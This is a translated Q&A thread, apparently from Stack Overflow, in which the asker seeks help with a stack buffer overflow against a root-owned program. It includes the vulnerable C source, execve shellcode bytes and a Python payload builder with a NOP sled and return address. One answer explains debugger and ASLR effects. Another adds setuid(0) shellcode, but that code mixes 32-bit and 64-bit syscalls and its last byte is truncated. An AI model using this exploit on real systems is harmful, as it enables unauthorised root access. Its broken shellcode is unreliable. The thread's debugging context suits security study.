0

我正在尝试利用具有 root 权限的易受攻击的程序的权限升级。我为此尝试了一个shell代码,但我不知道我在哪里犯了错误。

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
char buf[256];
int len, i;

scanf("%s", buf);
len = strlen(buf);

printf("%s\n", buf);
return 0;
}

缓冲区的地址从“0x7fffffffdfd0”开始。缓冲区大小为 272 字节。我使用了以下 29 个字节的 shell 代码:

\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05

此外,我在攻击场景中使用了以下输入:

(python -c 'print \x90"*243+"\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"+"\xd0\xdf\xff\xff\xff\x7f"') > payload.txt

当我在 GDB 中使用“run < payload.txt”运行程序时,我没有收到 root 访问权限。任何想法或解决方案将不胜感激。

4

2 回答 2

0

当我在 GDB 中使用“run < payload.txt”运行程序时,我没有收到 root 访问权限。

这是意料之中的:setuid 程序在ptrace运行时(在调试器下运行时)不会从内核获得特殊权限。否则就有可能劫持任何setuid 程序(不仅仅是易受攻击的程序)。

缓冲区的地址从“0x7fffffffdfd0”开始。

你怎么知道?你用 GDB 找到那个地址了吗?您是否禁用了 ASLR?

GDB 禁用 ASLR(为了使调试更容易——所有东西总是在同一个地址)。

如果您没有在系统范围内禁用 ASLR,那么buffer可能不会0x7fffffffdfd0.

于 2019-02-11T16:31:05.653 回答
0

我猜,添加你的shellcodesetuid(0)

"\x31\xdb\x89\xd8\xb0\x17\xcd\x80" // setuid(0)

修改后的shellcode:

\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x0
于 2020-01-23T06:28:07.363 回答